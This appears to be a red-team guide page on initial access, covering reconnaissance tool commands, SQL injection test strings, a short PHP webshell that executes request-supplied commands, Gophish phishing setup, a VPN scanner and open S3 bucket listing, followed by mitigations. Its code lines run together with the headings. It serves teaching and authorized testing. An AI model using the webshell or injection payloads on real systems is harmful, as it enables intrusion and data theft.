Initial Access Techniques
Initial Access Techniques
Initial access represents the first phase of an attack, where the operator attempts to gain a foothold in the target environment. This section covers various techniques for obtaining initial access during authorized red team operations.
External Reconnaissance
Before attempting access, thorough reconnaissance is essential:
- OSINT: Gathering publicly available information
- Network scanning: Identifying exposed services and potential entry points
- Subdomain enumeration: Discovering forgotten or unmanaged assets
OSINT Tools
# Example reconnaissance workflowwhois target.comtheHarvester -d target.com -b google,linkedinamass enum -d target.comsubfinder -d target.comWeb Application Attacks
Web applications often provide the path of least resistance for initial access:
SQL Injection
SQL injection remains a critical vulnerability in many web applications:
-- Basic SQL injection test' OR 1=1 --' UNION SELECT username, password FROM users --File Upload Vulnerabilities
Unrestricted file uploads can lead to remote code executi
<?php // Basic PHP webshell if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; }?>Phishing Campaigns
Phishing remains one of the most effective initial access techniques:
- Reconnaissance: Gather information about targets
- Infrastructure: Set up domains, email services, and collection mechanisms
- Lure creation: Develop convincing scenarios and content
- Execution: Deliver the campaign
- Post-exploitation: Establish persistence once access is obtained
Example Phishing Framework Setup
# Setting up Gophishdocker pull gophish/gophishdocker run -d -p 3333:3333 -p 8080:8080 --name gophish gophish/gophishExternal Service Exploitation
Targeting externally exposed services can provide direct access:
VPN and Remote Access
VPN services and remote access solutions often become targets:
# Example Pulse Secure VPN scanner./pulse-exploit.sh -u https://vpn.target.com --checkCloud Misconfigurations
Cloud resources with misconfigurations can provide initial access vectors:
# S3 bucket enumerationaws s3 ls s3://company-backup-bucket/ --no-sign-requestMitigation Strategies
Organizations can protect against these attack vectors by:
- Implementing robust patch management
- Conducting regular security awareness training
- Deploying multi-factor authentication
- Performing regular external penetration testing
- Using cloud security posture management tools